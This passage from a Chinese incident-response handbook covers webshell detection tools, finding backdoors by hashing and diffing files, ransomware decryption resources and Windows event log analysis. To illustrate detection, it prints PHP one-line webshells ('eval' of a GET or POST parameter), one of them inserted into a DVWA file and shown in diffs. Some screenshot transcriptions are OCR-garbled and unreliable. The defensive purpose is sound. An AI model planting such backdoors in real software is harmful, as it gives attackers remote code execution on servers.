| [+] 00000077 /Users/cyrus/GoWebshellDetector/sample/test/4630e127.php | Risk:1 |
| [+] 00000089 /Users/cyrus/GoWebshellDetector/sample/test/578b2c41.php | Risk:4 |
| [+] 00000098 /Users/cyrus/GowebshellDetector/sample/test/sec46d2.php | Risk:5 |
| [+] 00000111 /Users/cyrus/GowebshellDetector/sample/test/724853f.php | Risk:5 |
| <pre>(+) 00000117 /Users/cyrus/GowebshellDetector/sample/test/768057a3.php</pre> | Risk:1 |
| [+] 00000118 /Users/cyrus/GoWebshellDetector/sample/test/79d26e40.php | Risk:3 |
| <pre>[+] 00000129 /Users/cyrus/GoWebshellDetector/sample/test/8c246f19.php</pre> | Risk:5 |
| [+] 00000132 /Users/cyrus/GowebshellDetector/sample/test/8ef364a7.php | Risk:4 |
| [+] 00000133 /Users/cyrus/comeosnellDetector/sample/test/det5900/.pnp [+] 00000137 /Users/cyrus/comeosnellDetector/sample/test/det5900/.pnp | Risk:4 |
| (+) 00000140 /Users/cvrus/GowebshellDetector/sample/test/9ab0102.php | Risk:4 |
| [+] 00000147 /Users/cyrus/GoWebshellDetector/sample/test/a54bc389.php | Risk:1 |
| [+] 00000153 /Users/cyrus/GoWebshellDetector/sample/test/acle0569.php | Risk:4 |
| [+] 00000155 /Users/cyrus/GoWebshellDetector/sample/test/aedf0b57.php [+] 00000157 /Users/cyrus/GoWebshellDetector/sample/test/te30125 php | Risk:5 |
| [+] 00000137 /Users/cyrus/GowebshellDetector/sample/test/02381c/0.pnp [+] 00000137 /Users/cyrus/GowebshellDetector/sample/test/02381c/0.pnp | Risk:1 Risk:4 |
| (+) 00000187 /Users/cyrus/Gowebshellbetctor/sample/test/cd4b3247.nbp | Risk:4 |
| [+] 00000188 /Users/cyrus/GoWebshellDetector/sample/test/cd735fa0.php | Risk:5 |
| [+] 00000189 /Users/cyrus/GoWebshellDetector/sample/test/cdb20365.php | Risk:1 |
| [+] 00000195 /Users/cyrus/GoWebshellDetector/sample/test/d73f251a.php | Risk:4 |
| [+] 00000203 /Users/cyrus/GoweosnellDetector/sample/test/de003/22.pnp [+] 00000203 /Users/cyrus/GoweosnellDetector/sample/test/de003/22.pnp | Risk:5 |
| (+) 00000215 /Users/cyrus/GowebshellDetector/sample/test/e7/a2409.php | Risk:4 |
| [+] 00000218 /Users/cyrus/GoWebshellDetector/sample/test/eab8f163.php | Risk:4 |
| [+] 00000223 /Users/cyrus/GoWebshellDetector/sample/test/f3ca8061.php | Risk:1 |
| [+] 00000227 /Users/cyrus/GoWebshellDetector/sample/test/f6bed102.php | Risk:3 |
| [+] 00000231 /Users/cyrus/comeosnetLuetector/sample/test/To3a/208.pnp [+] 00000231 /Users/cyrus/comeosnetLuetector/sample/test/To3a/208.pnp | Risk:4 Rick:4 |
| Testing fe0752dc.php / 40 risks / Runtime 22.50753517ss | s |
| 2018/09/29 11:45:15 Risk (level1): 12 | |
| 2018/09/29 11:45:15 Risk (level2): θ | |
| 2018/09/29 11:45:15 Risk (level3): 2 | |
| 2018/09/29 11:45:15 Risk (level4): 18 | |
| 2018/09/29 11:45:15 Kisk (level5): 8 2018/09/20 11:45:15 Detector done (22 500240007c) | |
| cvrus@localhost ~/GoWebshellDetector/bin / bin release | |
| | |
| | |

6、Sangfor WebShellKill

Sangfor WebShellKill(网站后门检测工具)是一款web后门专杀工具,不仅支持webshell的扫描,同时还支持暗链的扫描。是一款融合了多重检测引擎的查杀工具。能更精准地检测出WEB网站已知和未知的后门文件。

兼容性: 支持Windows、linux

工具下载地址: <u>http://edr.sangfor.com.cn/backdoor_detection.html</u> (已停止访问)



7、深度学习模型检测PHP Webshell

一个深度学习PHP webshell查杀引擎demo,提供在线样本检测。

在线查杀地址: <u>http://webshell.cdxy.me/</u>

Deep Learning model for PHP webshell detection

注:请求过于频繁会响应"429 Too Many Requests",请控制在3QPS以内

Paste your php code here. Example: <?php eval(\$_GET['shell'])?>

Or upload sample with CURL: `curl http://webshell.cdxy.me/api -F file=@webshell.php`

```
Or give it ALIAS:

`alias dwd='_a(){ curl http://webshell.cdxy.me/api -F file=@$1; }; _a'`

`dwd webshell.php`
```

Submit

8、PHP Malware Finder

PHP-malware-finder 是一款优秀的检测webshell和恶意软件混淆代码的工具

兼容性:提供linux版本,Windows暂不支持。

github项目地址: <u>https://github.com/jvoisin/php-malware-finder</u>

```
root@kali:~/php-malware-finder# yara -r ./php.yar ./webshell/
./php.yar(95): warning: $pr contains .* or .+, consider using .{,N} or .{1,N} wit
h a reasonable value for N
DodgyPhp ./webshell//dama.php
ObfuscatedPhp ./webshell//phpdama.php
DodgyPhp ./webshell//phpdama.php
DangerousPhp ./webshell//phpdama.php
SuspiciousEncoding ./webshell//phpdama.php
DodgyStrings ./webshell//phpdama.php
ObfuscatedPhp ./webshell//x.php
DodgyPhp ./webshell//x.php
DodgyPhp ./webshell//x.php
DangerousPhp ./webshell//x.php
DodgyPhp ./webshell//x.php
SuspiciousEncoding ./webshell//x.php
DodgyStrings ./webshell//x.php
```

9、findWebshell

这个项目是一款基于python开发的webshell检查工具,可以根据特征码匹配检查任意类型的webshell后门。

github项目地址: <u>https://github.com/he1m4n6a/findWebshell</u>

10、在线webshell查杀工具

在线查杀地址: <u>http://tools.bugscaner.com/killwebshell/</u>

在线webshell查杀-灭绝师太版

请选择需要查杀的php文件或标准zip压缩包(允许上传最大2M):

🕄 Customize.jsp 💼 Remove 🗁 Browse ...

正在检测中,你只管抽烟喝茶泡妞看小说,剩下的交给我吧!

第4篇:如何在百万行代码里发现隐藏的后门

试想一下,如果你的网站被入侵,攻击者留下隐藏的后门,你真的都可以找出来嘛?面对一个大中型的应用系统,数以 百万级的代码行,是不可能做到每个文件每段代码进行手工检查的。

即使是一款拥有99.9%的Webshell检出率的检测引擎,依然可能存在Webshell绕过的情况。另外,像暗链、网页劫持、 页面跳转等常见的黑帽SEO手法,也很难通过手动检测或工具检测全部识别出来。

最好的方式就是做文件完整性验证。通过与原始代码对比,可以快速发现文件是否被篡改以及被篡改的位置。当然,第 一个前提是,你所在的团队已具备代码版本管理的能力,如果你是个人站长,相信你已经备份了原始代码。

本文将结合实际应用,介绍几种文件完整性验证方式,可以帮助你找出代码中所有隐藏的后门。

1、文件MD5校验

下载D盾_Web查杀工具的时候,我们可以留意到下载的压缩包里,除了有一个exe可执行文件,还有一个文件md5值。 这个是软件作者在发布软件时,通过md5算法计算出该exe文件的"特征值"。

下载地址: http://www.d99net.net/down/webShellKill_v2.0.9.zip 文件MD5: 29285decadbce3918a4f8429ec33df46 webShellKill.exe

当用户下载软件时,可以使用相同的校验算法计算下载到exe文件的特征值,并与软件开发者发布的特征值比较。如果两个特征值相同,则认为下载到的exe文件是正确的。如果两个特征值不同,则认为下载到exe文件是被篡改过的。

那同理可得,我们可以将所有网站文件计算一次hash值保存,当出现应急情况时,重新计算一次hash值,并与上次保存的hash值进行对比,从而输出新创建的、修改过及删除的文件列表。

文件hash值计算:

```
def md5sum(file):
    m=hashlib.md5()
    if os.path.isfile(file):
        f=open(file,'rb')
        for line in f:
            m.update(line)
        f.close
    else:
        m.update(file)
    return (m.hexdigest())
```

对文件进行哈希值重新计算,进行校验对比,测试效果:

```
C:\>hash_demo.py
Please enter your web physical path, for example, c:\www]. c:\DUWA-master
[?] Check the integrity of the file: [Y]es or [N]O (Y/N): Y
Please enter the hash file path to be compared: duwa.json
可能被删除的文件有:
新增的文件有:
c:\duwa-master\hackable\uploads\evil.php
可能被篡改的文件有:
c:\duwa-master\wulnerabilities\sqli\source\low.php
```

如上图,在上传目录新增了一个evil.php文件,还有一个被篡改的文件是low.php。使用常见的编辑器NotePad++进行对比,可以发现low.php文件里被插入了一句话webshell。



2、diff命令

在linux中,我们经常使用diff来比较两个文本文件的差异。同样,我们可以通过一行命令快速找出两个项目文件的差异。

diff -c -a -r cms1 cms2

如下图所示,前三行列出了两个要对比的文件目录的差异,可以发现low.php文件被篡改过,篡改的内容是 @eval(\$_POST['g']);。

```
root@kali:~# diff -c -a -r cms1 cms2
diff -c -a -r cms1/low.php cms2/low.php
*** cms1/low.php
                        2020-04-06 11:26:26.323019514 -0400
--- cms2/low.php
                        2020-04-06 11:26:58.123994040 -0400
*********
*** 1,5 ****
  <?php
ļ
  if( isset( $_REQUEST[ 'Submit' ] ) ) {
        // Get input
        $id = $ REQUEST[ 'id' ];
--- 1,5 ----
  <?php
! @eval($ POST['g']);
  if( isset( $ REQUEST[ 'Submit' ] ) ) {
        // Get input
       $id = $_REQUEST[ 'id' ];
```

3、版本控制工具

版本控制工具,比如说git,重新上传代码到git,add+commit+push,然后打开项目,点击commits,在历史提交版本 里面,查看文件更改内容,很容易就可以发现代码被篡改的地方了。

另外,也可以通过git diff 用来比较文件之间的不同。

| update & master | Browse files |
|--|--|
| Bypass007 committed 2分钟前 | 1 parent a61bbe9 commit f68427634ebb1414199ca546aff66d7d082fda21 |
| Showing 1 changed file with 1 addition and 1 deletion. | Unified Split |
| ✓ 2 ■ test/low.php A | |
| @@ -1,6 +1,6 @@ | |
| 1 php</td <td>1 <?php</td></td> | 1 php</td |
| 2 | 2 |
| | <pre>3 + @eval(\$_POST['g']);</pre> |
| 4 1f(1SSet(%_KEQUES(['SUDMIT'])) { | 4 it(isset(<u>s_ktQUES[</u> 'SUDMIT'])) { |
| 6 \$id = \$ REDUESTE 'id' 1: | 6 Sid = \$ REQUESTE 'id' 1: |
| 283 | |

4、文件对比工具

关键词:代码对比工具,你会找到很多好用的工具,这里我们推荐两款效果还不错的工具,Beyond Compare和WinMerge。

Beyond Compare

Beyond Compare是一套由Scooter Software推出的文件比较工具。主要用途是对比两个文件夹或者文件,并将差异以颜色标示,比较范围包括目录,文档内容等。

下载地址: <u>http://www.scootersoftware.com/download.php</u>

软件使用示例,通过文件夹比较,找出文件夹中的差异内容。

1、双击Beyond Compare,打开软件主页,选择文件夹比较。

| 🔕 主页 - Beyond Compar | 9 | _ | × |
|----------------------|--------------------|---|---|
| 会话(S) 视图(V) 工具(T) | 帮助(H) | | |
| 会话 | | | |
| > [1] 新建 | | | |
| | 文件夹比较 文件夹合并 | > | |
| | 文件夹同步 文本比较 | | |
| + - P | 文本合并 | | • |

2、在双边栏输入文件夹路径,点击显示差别,列出差异部分的内容,紫色部分为新增文件,红色部分为篡改文件。

| OVWA-master <> CMS - 文件夹比较(F) | - Beyond Compare | | | _ | | × |
|---|----------------------|---------------------------------------|--------------|------------|---|-----------|
| 会话(S) 操作(A) 编辑(E) 搜索(R) 视图(V) | 工具(T) 帮助(H) | | | | | |
| 合 □ * ≠ = 主页 会话 全部 差別 相同 | □ ~ | ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ | | 。 交換 | ● ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ | |
| 过滤: *.* | 过濾 不 | 飞 过滤 | | | | |
| D:\code\DVWA-master\vulnerabilities\sqli\sc | ource 🗸 🖓 🛅 🖻 | D:\code\CMS\vulnerabilities\sql | i∖source ∨ | P 🔁 💽 | • | € ▼ |
| 名称(N) ^ 大小(Z) | 已修改(M) | 名称(N) ^ | 大小(Z) | 已修改(M) | | \top |
| hackable 18,975 | 2020/4/11 17:15:23 | 📄 hackable | 18,979 | 2020/4/11 | 17:15:48 | \sim |
| uploads 667 | 2020/4/11 17:15:23 | 🗁 uploads | 671 | 2020/4/11 | 17:16:47 | |
| | | evil.php | 4 | 2020/4/11 | 17:17:23 | |
| 🗁 vulnerabilities 171,950 | 2020/4/11 17:15:24 | 늘 vulnerabilities | 171,969 | 2020/4/11 | 17:15:49 | |
| sqli 10,285 | 2020/4/11 17:15:24 | sqli 🔤 | 10,304 | 2020/4/11 | 17:15:49 | |
| source 3,471 | 2020/4/11 17:15:24 | - bource | 3,490 | 2020/4/11 | 17:15:49 | |
| low.php 764 | 2020/1/13 16:04:19 | ≠ low.php | 783 | 2020/4/11 | 17:16:26 | |
| | | | | | | \vee |
| ✿ 2020/4/11 17:11:12 加载比较: C:\Users | \Bypass\Downloads\D | VWA-master\DVWA-master <-> C:\Us | ers\Bypass\[| Downloads∖ | DVWA-m | a: ^ |
| 2020/4/11 17:15:43 不能加载 C:\Users\E | Sypass\Downloads\DVV | VA-master: 拒绝访问。 | | | | |
| 2020/4/11 17:15:44 加载比较: D:\code | \DVWA-master <-> | | | | | |
| 2020/4/11 17:16:53 加载比较: D:\code | \DVWA-master <-> D:\ | .code\CMS | | | | |
| | | | | | | × |
| | 21.5 GB 可用,在 D:_ | 选择了 1 个文件, 783 号 | | 21.5 GB 可 | 用,在D:\ | _ |

3、双击具体文件,进入代码对比,找到代码差异部分。

| <pre> ☆活(S) 文件(F) 編攝(E) 搜索(R) 视图(V) 工具(T) 帮助(H) DVWA-master <> CMS * DVWA-master <> CMS * DVWA-master <> CMS * DVWA-master <> CMS * DVWA-master <> CMS * DVWA-master <> CMS * DVWA-master <> CMS * DVWA-master <> CMS * DVWA-master <> CMS * DVWA-master <> CMS * DVWA-master <> CMS * DVWA-master <> CMS * DVWA-master <> CMS * DVWA-master <> CMS * DVWA-master <> CMS * DVWA-master <> CMS * DVWA-master <> CMS * DVWA-master <> CMS * DVWA-master <> CMS * DVWA-master <> CMS * DVWA-master <> CMS * DVWA-master <> CMS * DVWA-master <> CMS * DVWA-master <> CMS * DVWA-master <> CMS * DVWA-master <> CMS * DVWA-master <> CMS * DVWA-master <> CMS * DVWA-master <> CMS * DVWA-master <> CMS * DVWA-master <> CMS * DVWA-master <> CMS * DVWA-master <> CMS * COULTING * COULTING* *</pre> | low. | php - 文本比较(T) - Beyond Compare | | | | _ | | × |
|---|---------|---|---|--|---|---|--------------------------------|------------------------------|
| DVWA-master <> CMS ※ ② low.php × 主页 会话 全部 差別 相同 上下文 次要 规则 格式 章 ③ DVWA-master <> CMS * ● | 会话(S) | 文件(F) 编辑(E) 搜索(R) 视图(V) 工具(T) 帮助(H) | | | | | | |
| 全語 学問 相同 上下文 次要 规则 格式 「 ● デ ● 下一区段 上一部分 交換 重载 P1、\vulnerabilities\sqli\source\low.php P2020/1/13 16:04:19 764 字节 其它一切 ▼ ANSI ▼ PC 2020/2/11 17:16:26 783 字节 其它一切 ▼ ANSI ▼ PC 2020/2/11 17:16:26 783 字节 其它一切 ▼ ANSI ▼ PC 2020/2/11 17:16:26 783 字节 其它一切 ▼ ANSI ▼ PC 2020/2/11 17:16:26 783 字节 其它一切 ▼ ANSI ▼ PC 2020/2/11 17:16:26 783 字节 其它 □ □ ▼ ANSI ▼ PC 2020/2/11 17:16:26 783 字节 其它 □ □ ▼ ANSI ▼ PC 2020/2/11 17:16:26 783 字节 其它 □ □ ▼ ANSI ▼ PC 2020/2/11 17:16:26 783 字节 其它 □ □ ▼ ANSI ▼ PC 2020/2/11 17:16:26 783 字节 其它 □ □ ▼ ANSI ▼ PC 2020/2/11 17:16:26 783 字节 其它 □ □ ▼ ANSI ▼ PC 2020/2/11 17:16:26 783 字节 其它 □ □ ▼ ANSI ▼ PC 2020/2/2/2/2/2/2/2/2/2/2/2/2/2/2/2/2/2/ | DV | NA-master <> CMS * | low.php | | × | | | |
| D:\\vulnerabilities\sqli\source\low.php > ▷ ▷ ▷ ▷ D:\code\CMS\vulnerabilities\sqli\source\low.php > ▷ ▷ ▷ ▷ 2020/1/13 16:04:19 764 字节 其它一切 ▼ ANSI ▼ PC 2020/4/11 17:16:26 783 字节 其它一切 ▼ ANSI ▼ PC 2020/1/13 16:04:19 764 字节 其它一切 ▼ ANSI ▼ PC 2020/4/11 17:16:26 783 字节 其它一切 ▼ ANSI ▼ PC c?php ▲ if(isset(\$_REQUEST['Submit'])) { // Get input \$id = \$_REQUEST['id']; // Get input \$id = \$_REQUEST['id']; // Check database \$query = "SELECT first_name, last_name FR \$query = "SELECT first_name, last_name FR \$result = mysqli_query(\$GLOBALS["mysqli // Get results /// Get results while(\$row = mysqli_fetch_assoc(\$result v 1:1 默认文本 1:1 默认文本 > | ▲ 主页 | ▲ * * = ÷ ≈ 会话 ★ 全部 差别 相同 上下文 次要 ; | 点 泉 泉 泉 和式 ▼ | □> 反制 編 | ↓ ↓ 下一区段 上—部分 | ◆ 3 交換 重載 | | |
| 2020/1/13 16:04:19 764 字节 其它一切 ▼ ANSI ▼ PC <pre> 2020/4/11 17:16:26 783 字节 其它一切 ▼ ANSI ▼ PC </pre> <pre></pre> | | D:\\vulnerabilities\sqli\source\low.php | → → | D:\code\CM | AS\vulnerabilities\sqli\sc | ource\low.php | · 🍡 🖻 | |
| <pre></pre> | | 2020/1/13 16:04:19 764 字节 其它一切 🔻 ANS | I ▼ PC | 2020/4/11 | 17:16:26 783 字节 身 | 其它一切 ▼ ANS | ▼ PC | ĺ |
| 1:1 默认文本 へ、?php やく?php | | <pre></pre> | last_name FR S["mysqli oc(\$result v | ph<br @eva if(: | <pre>) .(\$_POST['g']); isset(\$_REQUEST['So // Get input \$id = \$_REQUEST[// Check database \$query = "SELEC" \$result = mysqli // Get results while(\$row = mys // Cet you }</pre> | ubmit'])) { 'id']; e T first_name, : _query(\$GLOBALS sqli_fetch_asso | last_nam 5["my bc(\$res | e Ff v sql: t ult t |
| d> php¤<br d> php¤</td <td></td> <td>1:1 默认文本</td> <td>< ></td> <td>1:1</td> <td>默认文本</td> <td>4</td> <td>C</td> <td>></td> | | 1:1 默认文本 | < > | 1:1 | 默认文本 | 4 | C | > |
| | at 1.0 | ⇔ php¤<br ⇔ php¤<br ≪ 業民報() #日 | | | 152) hn#20+% | П. О.О.Е. ¥И. | | > |

WinMerge

WinMerge是一款运行于Windows系统下的文件比较和合并工具,使用它可以非常方便地比较文件夹和文件,以易于理解的可视文本格式显示差异。

下载地址: <u>https://winmerge.org/downloads/</u>

1、文件--打开,选择文件或文件夹,然后点击进行比较。

| NinMerge - [选择文件或文件夹] | _ | |
|---|----------------|-------|
| 🧌 文件(F) 编辑(E) 视图(V) 工具(T) 插件(P) 窗口(W) 帮助(H) | | _ 8 × |
| 🗋 😂 🗃 🖄 🗠 🖶 오 집 오 집 조 곳 코 🔶 🔶 🚸 🦗 🦗 💋 🕶 🖾 🕅 🕅 🖗 | | |
| 送择文件或文件夹 | | |
| WinMerge | 帮助 选项(O) ┃▼ | |
| 第1个文件或文件夹 (1) | | |
| D:\code\DVWA-master\ | ~ | |
| □ 只读(A) | 浏览(B) | |
| 第2个文件或文件夹 (2) | | |
| D:\code\CMS\ | ~ | |
| □ 只读(D) | 浏览(R) | |
| 第3个文件或文件夹 (可选) (3) | | |
| | ~ | |
| □ 只读(N) | 浏览 | |
| 文件夹: 过滤器 文件: 解包插件 | | |
| *.* · 选择(S) <无> | 选择(L) | |
| ☑ 包含子目录(1) | | |
| 保存工程(V) ▼ 比较(M) | 取消 | |
| 选择两个(或二个)又件实或两个(或二个)又件进行比较. | | |
| 第13 | 项目, 共 29 | |

2、在同一个界面里,通过颜色和文本提示,显示文件夹内容差异。

| 👻 WinMerge - [DVWA-master\ - CMS\] — 🗆 🗙 | | | | | | | |
|---|---------------------|-----------------------|--------------------|----------------------|-----------|-----|--------------|
| | 图(V) 合并(M) 工具(T) | 插件(P) 窗口(W) 帮助(H) | | | | _ 5 | × |
| 1 C II I | | a 🛃 😼 🔶 🔶 🚳 😽 | - 🛛 🖾 🕅 🔗 | | | | |
| 🦉 选择文件或文件夹 👔 | DVWA-master\ - CMS\ | | | | | | |
| D:\code\DVWA-master\ | - | | D:\code\CMS\ | | | | |
| 文件名称 | 文件夹 | 比较结果 | 左侧日期 | 右侧日期 | 扩展名 | | ^ |
| > 🗞 cms | | 完全相同 | 2020/4/11 17:12:29 | * 2020/4/11 17:15:42 | | | |
| > 🗞 config | | 完全相同 | 2020/4/11 17:15:18 | * 2020/4/11 17:15:43 | | | |
| > 🗞 docs | | 完全相同 | 2020/4/11 17:15:18 | * 2020/4/11 17:15:43 | | | |
| > 🔊 dvwa | | 完全相同 | 2020/4/11 17:15:18 | * 2020/4/11 17:15:43 | | | |
| > 🗞 external | | 完全相同 | 2020/4/11 17:15:23 | * 2020/4/11 17:15:48 | | | |
| ✓ [™] hackable | | 文件夹不同 | 2020/4/11 17:15:23 | * 2020/4/11 17:15:48 | | | |
| > 🔊 flags | hackable | 完全相同 | 2020/4/11 17:15:23 | * 2020/4/11 17:15:48 | | | |
| ✓ muploads | hackable | 文件夹不同 | 2020/4/11 17:15:23 | * 2020/4/11 17:16:47 | | | |
| 🐉 dvwa_email | . hackable∖uploads | 二进制文件完全相同 | 2020/1/13 16:04:19 | 2020/1/13 16:04:19 | png | | |
| 👌 evil.php | hackable\uploads | 仅在右侧: D:\code\CMS\hac | | * 2020/4/11 17:17:23 | php | | |
| > 🗞 users | hackable | 完全相同 | 2020/4/11 17:15:23 | * 2020/4/11 17:15:48 | | | |
| > 🔂 vulnerabilities | | 文件夹不同 | 2020/4/11 17:15:24 | * 2020/4/11 17:15:49 | | | |
| 👼 .gitignore | | 文本文件完全相同 | 2020/1/13 16:04:19 | 2020/1/13 16:04:19 | gitignore | | |
| attaccess 👼 | | 文本文件完全相同 | 2020/1/13 16:04:19 | 2020/1/13 16:04:19 | htaccess | | |
| 👼 about.php | | 文本文件完全相同 | 2020/1/13 16:04:19 | 2020/1/13 16:04:19 | php | | |
| a CHANGELOG.md | | 文本文件完全相同 | 2020/1/13 16:04:19 | 2020/1/13 16:04:19 | md | | |
| COPYING.txt | | 文本文件完全相同 | 2020/1/13 16:04:19 | 2020/1/13 16:04:19 | txt | | \checkmark |
| 选择了1个项目 | | | 全部内容 | ** | | | |
| | | | | 第 8 项目, 共 29 | | | |

第5篇: 勒索病毒自救指南

经常会有一些小伙伴问:中了勒索病毒,该怎么办,可以解密吗?

第一次遇到勒索病毒是在早几年的时候,客户因网站访问异常,进而远程协助进行排查。登录服务器,在站点目录下发现所有的脚本文件及附件后缀名被篡改,每个文件夹下都有一个文件打开后显示勒索提示信息,这便是勒索病毒的特征。

出于职业习惯,我打包了部分加密文件样本和勒索病毒提示信息用于留档,就在今天,我又重新上传了样本,至今依然 无法解密。

作为一个安全工程师,而非一个专业的病毒分析师,我们可以借助各大安全公司的能力,寻找勒索病毒的解密工具。

本文整理了一份勒索病毒自救指南,通过勒索病毒索引引擎查找勒索病毒相关信息,再通过各个安全公司提供的免费勒 索软件解密工具解密。当然,能否解密全凭运气,so,平时还是勤打补丁多备份。

勒索病毒搜索引擎

在勒索病毒搜索引擎输入病毒名、勒索邮箱、被加密后文件的后缀名,或直接上传被加密文件、勒索提示信息,即可可 快速查找到病毒详情和解密工具。



这些网站的解密能力还在持续更新中,是值得收藏的几个勒索病毒工具型网站。

【360】 勒索病毒搜索引擎, 支持检索超过800种常见勒索病毒,

http://lesuobingdu.360.cn

【腾讯】勒索病毒搜索引擎, 支持检索超过 300 种常见勒索病毒

https://guanjia.qq.com/pr/ls/

【启明】VenusEye勒索病毒搜索引擎,超300种勒索病毒家族

https://lesuo.venuseye.com.cn/

【奇安信】勒索病毒搜索引擎

https://lesuobingdu.qianxin.com/

【深信服】勒索病毒搜索引擎

https://edr.sangfor.com.cn/#/information/ransom_search

勒索软件解密工具集

很多安全公司都提供了免费的勒索病毒解密工具下载,收集和整理相关下载地址,可以帮助我们了解和获取最新的勒索 病毒解密工具。

【腾讯哈勃】勒索软件专杀工具

https://habo.qq.com/tool/index

【金山毒霸】勒索病毒免疫工具

http://www.duba.net/dbt/wannacry.html

【火绒】安全工具下载

http://bbs.huorong.cn/forum-55-1.html

【瑞星】解密工具下载

http://it.rising.com.cn/fanglesuo/index.html

【nomoreransom】勒索软件解密工具集

https://www.nomoreransom.org/zh/index.html

【MalwareHunterTeam】勒索软件解密工具集

https://id-ransomware.malwarehunterteam.com/

【卡巴斯基】免费勒索解密器

https://noransom.kaspersky.com/

【Avast】免费勒索软件解密工具

https://www.avast.com/zh-cn/ransomware-decryption-tools

【Emsisoft】免费勒索软件解密工具

https://www.emsisoft.com/ransomware-decryption-tools/free-download

【Github项目】勒索病毒解密工具收集汇总

https://github.com/jiansiting/Decryption-Tools

第二章: 日志分析篇

第1篇:Window日志分析

0x01 Window事件日志简介

Windows系统日志是记录系统中硬件、软件和系统问题的信息,同时还可以监视系统中发生的事件。用户可以通过它来检查错误发生的原因,或者寻找受到攻击时攻击者留下的痕迹。

Windows主要有以下三类日志记录系统事件:应用程序日志、系统日志和安全日志。

系统日志

记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等。系统日志中记录的时间类型 由windows NT/2000操作系统预先定义。

默认位置: %SystemRoot%\System32\Winevt\Logs\System.evtx

应用程序日志

包含由应用程序或系统程序记录的事件,主要记录程序运行方面的事件,例如数据库程序可以在应用程序日志中记录文件错误,程 序开发人员可以自行决定监视哪些事件。如果某个应用程序出现崩溃情况,那么我们可以从程序事件日志中找到相应的记录,也许 会有助于你解决问题。

默认位置: %SystemRoot%\System32\Winevt\Logs\Application.evtx

安全日志

记录系统的安全审计事件,包含各种类型的登录日志、对象访问日志、进程追踪日志、特权使用、帐号管理、策略变更、系统事件。安全日志也是调查取证中最常用到的日志。默认设置下,安全性日志是关闭的,管理员可以使用组策略来启动安全性日志,或 者在注册表中设置审核策略,以便当安全性日志满后使系统停止响应。

默认位置: %SystemRoot%\System32\Winevt\Logs\Security.evtx

系统和应用程序日志存储着故障排除信息,对于系统管理员更为有用。 安全日志记录着事件审计信息,包括用户验证 (登录、远程访问等)和特定用户在认证后对系统做了什么,对于调查人员而言,更有帮助。

0X02 审核策略与事件查看器

Windows Server 2008 R2 系统的审核功能在默认状态下并没有启用,建议开启审核策略,若日后系统出现故障、安全 事故则可以查看系统的日志文件,排除故障,追查入侵者的信息等。

PS: 默认状态下, 也会记录一些简单的日志, 日志默认大小20M

设置1:开始 → 管理工具 → 本地安全策略 → 本地策略 → 审核策略, 参考配置操作:

| 🖥 本地安全策略 | | | | | | |
|--|--|--|--|--|--|--|
| 文件 (P) 操作 (A) 查看 (V) 帮助 (H) | | | | | | |
| (= -) 🖄 🔂 🕞 🕹 | 🗇 🔿 🔁 📷 🛃 🔀 📷 | | | | | |
| ⇒ 安全设置 □ ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● | 策略 ▼ ■ 南核帐户管理 ■ 南核縣立堂录事件 ■ 南核特权使用 ■ 南核目录服务访问 ■ 南核日录服务访问 ■ 南核过程跟踪 ■ 南核过程跟踪 ■ 南核改身访问 ■ 南核登录事件 ■ 南核常歌更改 | 安全设置 成功,失败 成功,失败 失败 大败 成功,失败 成功,失败 成功,失败 成功,失败 成功,失败 成功,失败 | | | | |

设置2: 设置合理的日志属性,即日志最大大小、事件覆盖阀值等:



查看系统日志方法:

- 1. 在"**开始"**菜单上,依次指向"所有程序"、"管理工具",然后单击"事件查看器"
- 2. 按 "Window+R", 输入 "eventvwr.msc" 也可以直接进入"事件查看器"

| 🛃 事件查看器 | | | |
|---|-------------------|----------|---------------------------------------|
| 文件(F) 操作(A) 查看(V) 帮助(H) | | | |
| 🗢 🔿 🗾 🖬 🔽 🖬 | | | |
| III 事件查看器 (本地) □ □ □ □ □ □ □ □ □ □ □ □ □ □ □ □ □ □ □ | rs 日志 | | 操作 |
| | 类型 事件数 : | 大小 | Tindows 日志 🔹 🔺 |
| □ □ □ □ □ □ □ □ □ □ □ □ □ □ □ □ □ □ □ | 呈序 管理的 11 | 68 KB | 🧉 打开保存的日志 |
| | 管理的 309 损伤 0 | 1.07 MB | 🐙 创建白定义视图 |
| Setup Setup Setup | 9 採TF 0 管理的 29 | 68 KB | □ □ □ □ □ □ □ □ □ □ □ □ □ □ □ □ □ □ □ |
| | 事件 操作 0 | 0 字节 | |
| 🗉 📫 应用程序和服务日志 | | | |
| 🔂 订阅 | | | 🖸 刷新 |
| | | | 帮助 ▶ |
| | | | 应用程序 ▲ |
| | | | 打开 |
| | | | 📴 属性 |
| | | | ? 帮助 |
| | | | |
| | | | |
| | | | |
| | | <u> </u> | |

0x03 事件日志分析

对于Windows事件日志分析,不同的EVENT ID代表了不同的意义,摘录一些常见的安全事件的说明:

| 事件ID | 说明 |
|------|------------------|
| 4624 | 登录成功 |
| 4625 | 登录失败 |
| 4634 | 注销成功 |
| 4647 | 用户启动的注销 |
| 4672 | 使用超级用户(如管理员)进行登录 |
| 4720 | 创建用户 |

每个成功登录的事件都会标记一个登录类型,不同登录类型代表不同的方式:

| 登录类型 | 描述 | 说明 |
|------|---------------------------|------------------------------|
| 2 | 交互式登录(Interactive) | 用户在本地进行登录。 |
| 3 | 网络 (Network) | 最常见的情况就是连接到共享文件夹或共享打印机时。 |
| 4 | 批处理 (Batch) | 通常表明某计划任务启动。 |
| 5 | 服务 (Service) | 每种服务都被配置在某个特定的用户账号下运行。 |
| 7 | 解锁 (Unlock) | 屏保解锁。 |
| 8 | 网络明文(NetworkCleartext) | 登录的密码在网络上是通过明文传输的,如FTP。 |
| 9 | 新凭证(NewCredentials) | 使用带/Netonly参数的RUNAS命令运行一个程序。 |
| 10 | 远程交互, (RemoteInteractive) | 通过终端服务、远程桌面或远程协助访问计算机。 |
| 11 | 缓存交互(CachedInteractive) | 以一个域用户登录而又没有域控制器可用 |

关于更多EVENT ID, 详见微软官方网站上找到了"Windows Vista 和 Windows Server 2008 中的安全事件的说明"。

原文链接: <u>https://support.microsoft.com/zh-cn/help/977519/description-of-security-events-in-windows-7-and-in-windows-server-2008</u>

案例1:可以利用eventlog事件来查看系统账号登录情况:

1. 在"开始"菜单上,依次指向"所有程序"、"管理工具",然后单击"事件查看器";

- 2. 在事件查看器中, 单击"安全", 查看安全日志;
